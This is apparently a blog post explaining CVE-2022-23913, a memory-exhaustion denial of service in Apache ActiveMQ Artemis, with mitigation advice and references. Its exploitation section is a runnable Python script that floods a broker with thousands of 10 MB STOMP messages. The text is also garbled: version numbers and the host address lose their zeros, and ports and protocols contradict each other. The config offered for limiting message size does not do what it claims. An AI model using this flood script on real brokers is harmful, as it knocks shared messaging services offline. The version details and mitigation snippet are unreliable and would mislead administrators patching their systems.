If you're running a messaging service with Apache ActiveMQ Artemis and haven't updated in a while, you might be walking a tightrope. CVE-2022-23913 is a notorious vulnerability affecting Artemis versions before 2.20. or 2.19.1. This bug allows attackers to trigger uncontrolled memory consumption — eventually leading to a denial of service (DoS). In this post, I’ll break down what happened, show example exploitation, and help you quickly check your risk.

What is Apache ActiveMQ Artemis?

Apache ActiveMQ Artemis is an open-source, high-performance messaging broker. It's used everywhere — from financial apps to IoT networks. If the broker stalls, so does your business.

About CVE-2022-23913

CVE-2022-23913 is a vulnerability where the broker may consume unlimited memory if a client sends massive or malformed data streams. The flaw was discussed and tracked in the official Artemis issue tracker.

Summary Table

| Identifier       | CVE-2022-23913                                   |
|------------------|--------------------------------------------------|
| Severity         | Medium-High (DoS, Resource Exhaustion)           |
| Affected Version | <2.20., <2.19.1 (all older releases)            |
| Fixed In         | 2.20., 2.19.1                                   |
| Type             | Denial of Service (DoS) via memory exhaustion    |

How Does the Exploit Work?

All Artemis users are vulnerable prior to patch versions. By abusing how Artemis handles certain inbound messages, attackers can send a flood of large messages or malformed payloads. Artemis keeps allocating memory until it hits a wall — but by then, the service is unresponsive.

Key Points

- There’s no strict size/limit enforced for some inbound data.

Exploiting the Vulnerability (Example Code)

Let's see what exploitation could look like, just for educational purposes.

Suppose you have a network access to the Artemis OpenWire or CORE protocols (most use the core port, 61616).

Below is a Python script that simulates flooding the broker with massive messages, using stomp.py for the STOMP protocol. Replace HOST and PORT with your Artemis instance:

import stomp
import time

# Broker info
HOST = "127...1"
PORT = 61613  # Default STOMP port

# Connect to broker
conn = stomp.Connection([(HOST, PORT)])
conn.connect(wait=True)

DEST = "/queue/exploit"

BIG_MESSAGE = "A" * (1024 * 1024 * 10)  # 10 MB message

try:
    for i in range(10000):  # Send 10000 large messages
        conn.send(destination=DEST, body=BIG_MESSAGE)
        print(f"Sent message {i+1}")
        time.sleep(.01)
except Exception as e:
    print("Exception:", e)
finally:
    conn.disconnect()

What happens?
Artemis processes and stores each huge message. If you don’t have per-connection or global message size limits, Artemis' Java process swiftly balloons in RAM usage and soon starts stalling. Other clients are now left without service.

Mitigation and Fix

The fix:  
Starting with version 2.20. or 2.19.1, Artemis enforces proper checks and limits to avoid runaway memory allocation. See the official release notes for details.

Upgrade Artemis ASAP.

- Downloads: Official Link

Enable connection throttling and non-persistent dead-lettering.

- Restrict interface/network access using firewalls.

Example snippet for limiting message size (broker.xml)

<address-setting match="#">
   <max-size-bytes>104857600</max-size-bytes> <!-- 100 MB, set as needed -->
   <message-counter-history-day-limit>10</message-counter-history-day-limit>
</address-setting>

References & Further Reading

- CVE entry: https://nvd.nist.gov/vuln/detail/CVE-2022-23913
- Artemis Jira: ARTEMIS-3512
- Advisory from Apache: Security Report
- Upgrading Artemis: Official Downloads
- Best Practices: Artemis Documentation

Final Words

CVE-2022-23913 is a classic example of why it's vital to patch and to enforce resource quotas (even on trusted LANs). If you run a vulnerable Artemis, you’re inviting risk.

Timeline

Published on: 02/04/2022 23:15:00 UTC
Last modified on: 05/01/2022 01:04:00 UTC